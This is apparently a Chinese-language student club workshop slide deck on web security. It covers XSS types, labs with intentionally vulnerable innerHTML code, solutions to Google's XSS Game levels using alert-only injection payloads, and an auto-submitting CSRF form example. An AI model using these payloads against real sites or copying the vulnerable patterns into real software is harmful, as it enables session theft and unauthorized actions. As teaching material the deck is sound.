XSS

$whoami

  • Du

  • 輔大資工二乙

  • 111屆 儲備副會長

Agenda

  • HTML、Javascript（我知道上禮拜有講過）

  • XSS

  • XSS Game（開心的實作時間）

  • CSRF

Warning

中華民國刑法

review (preview)

HTML、Javascript

review (preview)

HTML

HTML 常用標籤

<!DOCTYPE html>
<html>
<head>

  <title>This is a title</title>

</head>
<body>

<p>Hello World!</p>
<!-- This is a comment -->

</body>
</html>

  • <!DOCTYPE html>

    • 讓瀏覽器以HTML5渲染

  • <head></head>
    • 給瀏覽器看得或是導入外掛和文件
  • <title></title>​
    • 網頁的標題
  • <body></body>
    • 主要部分
  • <!--This is comment-->
    • 註解

HTML 常用標籤

  • <b></b>
    • 粗體
  • <i></i>、<em></em>
    • 斜體
  • <u></u>
    • 底線

HTML 常用標籤

  • <img src="圖片網址" alt="替代文字" width=""  height="">
    • 插入圖片
  • <a href="網址" target="_blank">文字</a>
    • 超連結

review (preview)

Javascript

輸出

  • console.log()

  • alert()

註解(comment)

  • 單行註解以 // 開頭

  • 多行註解以 /* 開頭，以 */ 結尾

DOM 文件物件模型

DOM 文件物件模型

  • 操作
document.getElementById("id-name");
document.getElementByClassName("class-name");
document.getElementByTagName("tag-name");

var test = document.getElementById("id-name");
// 用 test 去接物件

test.innerText = "I've been changed"
// 最常使用，獲取或設置元素內的文字
test.innerHTML
// 獲取或設置元素包含的 HTML 標籤

Sublime Text

另存新檔 (Ctrl + Shift + s )

  • 取名為XXXX.html（html檔）
  • 取名為XXXX.css（css檔）
  • 取名為XXXX.js（javascript檔）

XSS

Intro

  • 跨站腳本攻擊 Cross-Site Scripting
  • 注入惡意語句（通常為 JavaScript 語句）

CSS？XSS？

常見類型

  • Reflected (反射型)
  • Stored (儲存型)
  • DOM based

Reflected

  • 把惡意程式藏在網址列(URL)裡
  • 惡意程式碼並不存於目標伺服器中
  • 影響的層面僅限於單次單一使用者

Reflected

  • 把惡意程式藏在網址列(URL)裡
  • http://www.example.com/upload.asp?id=<script>alert(1);</script>
  • 使用 URL Encode 編碼
  • %3Cscript%3Ealert(1)%3B%3C%2Fscript%3E

Stored

  • 將惡意程式碼注入伺服器進行攻擊
  • 注入的語句通常會持續儲存於伺服器的資料庫
  • 影響的層面不僅限於個別使用者
  • 常見於留言區、評論區

DOM Based

  • 沒有檢查資料使得操作 DOM 的過程代入了惡意語句

  • 前端小心使用.html() 或是 .innerHTML()

講了那麼多

所以我說要怎麼xss

LAB 0 - 讓這個頁面跳出alert

<!DOCTYPE html>
<html>
    <head>
        <title>Hello XSS!</title>
    </head>
    <body>
        <input type = 'text' id = "Input">
        <button id="Button">Save</button>
        <div>
            Hello, <span id = "Output"></span>
        </div>
        <script src="XSS1.js"></script>
    </body>
</html>
var Input = document.getElementById('Input');
var Button = document.getElementById('Button');
var Out = document.getElementById('Output');

Button.addEventListener('click', function(){
    Out.innerHTML = Input.value;
})

html (XSS1.html)

js

(XSS1.js)

小小的提示

  • 你可以先嘗試輸入

  • 上周有講到的on事件（Javascript語法）

<h1>XSS</h1>

on事件回顧

onclick 當滑鼠點擊時
onerror 當出現error時(載入失敗)
onload 當載入成功時

其中一個方法

  • 輸入

  • 還有其他解法，歡迎分享

<img src="" onerror="alert()">

LAB 1 - 讓這個頁面跳出alert

<html>
    <head>
        <title>Hello XSS!</title>
    </head>
    <body>    
        <div id="goto"></div>
        <input type="text" id="Link" value="" />
        <input type="button" value="Go" onclick="gotoLink()" />
        <script src="XSS2.js"></script>
    </body>
</html>
function gotoLink() {
	var str = document.getElementById("Link").value;
	document.getElementById("goto").innerHTML = "<a href='" + str + "' >chick</a>";
}

html (XSS2.html)

js

(XSS2.js)

其中一個方法

  • 輸入

 

 

  • 還有嗎...???

' onclick='alert(1)
原本:
document.getElementById("goto").innerHTML = "<a href='" + str + "' >chick</a>";

str = ' onclick='alert(1):
document.getElementById("goto").innerHTML = <a href='' onclick='alert(1)' >chick</a>;

另一個方法

  • 輸入

  • 神奇的執行javascript語法

javascript:alert();

為什麼我們要讓網站alert？

XSS 通常目的

  • 盜取cookie 或 session
  • 獲取被害人權限

cookie？？？

cookie

  • 紀錄使用者狀態資料
    • e.g.網購時的購物車
  • 儲存在用戶端
  • Cookie 安全嗎？

Session

  • 把資訊存在 Server 
  • 透過session ID 跟 Server 要資料

把這串丟到FB看看 (?

alert(document.cookie)

到FB首頁

按下F12

登入FB

在console貼上這串code

彈出cookies

XSS 預防

  • User

    • 點開網址、輸入帳密前三思

  • Developer

    • Whitelist

    • HttpOnly

    • 不要相信使用者!!!

XSS Game

Lv. 1    hint:觀察code

Lv. 1    

先隨便輸入<h1>Test<h1>？

<!DOCTYPE html>
<html>
  <head>
    <style>
      body {
        background-color: #ffffff;
      }
    </style>
    <script src="/static/js/js_frame.js"></script>
  </head>
  <body>
    <center>
      <img src="/static/img/foogle.png">
      <br><br>
      Sorry, no results were found for <b><h1>Test</h1></b>.
      <a href="?">Try again</a>.
      <br>
      
    </center>
  </body>
</html>

Lv. 1    

其他解法？？？

<script>alert(1);</script>

Lv. 2    hint:觀察code

Lv. 2    

關上這個函式並加上alert...?

Lv. 2

原本:
<img id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('3');" />

timer = '1');alert(1);//'

<img id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('1');alert(1);//');" />
1');alert(1);//

Lv. 3    hint:觀察code

Lv. 3    先隨便按看看 

<div class="tab" id="tab3" onclick="chooseTab('3')">Cat 3</div>

Lv. 3    再來看看函式 

function chooseTab(name) {
  var html = "Cat " + parseInt(name) + "<br>";
  html += "<img src='/static/img/cat" + name + ".jpg' />";

  document.getElementById('tabContent').innerHTML = html;

  // Select the current tab
  var tabs = document.querySelectorAll('.tab');
  for (var i = 0; i < tabs.length; i++) {
    if (tabs[i].id == "tab" + parseInt(name)) {
      tabs[i].className = "tab active";
    } else {
      tabs[i].className = "tab";
    }
  }

  window.location.hash = name;

  // Tell parent we've changed the tab
  top.postMessage({'url': self.location.toString()}, "*");
}

Lv. 3    

URL :1.jpg' onload='alert(1)'/>
帶入code : <img src='/static/img/cat1.jpg' onload='alert(1)'/>.jpg'/>

其他解法？？？

Lv. 4    hint:觀察code

Lv. 4    一樣先隨便按

到了confirm?next=welcome的頁面

window.loction的後面好像可以傳URL

還記得可以怎麼alert嗎？

Lv. 4    

confirm?next=javascript:alert(1)
<!DOCTYPE html>
<html>
  <head>
    <script src="/static/js/js_frame.js"></script>
  </head>
  <body style="background-color: white;">
    <center>
      <img src="/static/img/googlereader-logo.png" /><br><br>
      Thanks for signing up, you will be redirected soon...
      <script>
        setTimeout(function() { window.location = 'javascript:alert()'; }, 1000);
      </script>
      
      <p><b>Level solved!</b> Click <a id="next_level" href="/JFTG_t7t3N-P" target="_top">here</a> to access the next level.</p>
      
    </center>
  </body>
</html>

CSRF

CSRF

  • 跨站請求偽造（Cross Site Request Forgery）
  • 讓使用者發出惡意請求

舉例-作業繳交頁面

<a href="https://example.com/delete?id=3">刪除</a>

刪除

舉例-作業繳交頁面

<a href="https://example.com/delete?id=3">開始測驗</a>

開始測驗

舉例-用post安全了吧

<form action="https://example.com/delete" method="POST">
  <input type="text" name="id" value="3">
  <input type="submit" value="開始測驗">
</form>

舉例-看到了還會去按???

<form id="csrf" action="https://example.com/delete" method="POST">
  <input type="text" name="id" value="3">
  <input type="submit" value="開始測驗">
</form>
<script>
csrf.submit();
</script>

預防方法

感謝名單

  • 學長姐歷代資料
  • 特別感謝 zhen 的 2022 enlightened 簡報 複製貼上真香
  • iThome 各種文章

結語

不要亂點連結

工商時間

課後問卷

Made with Slides.com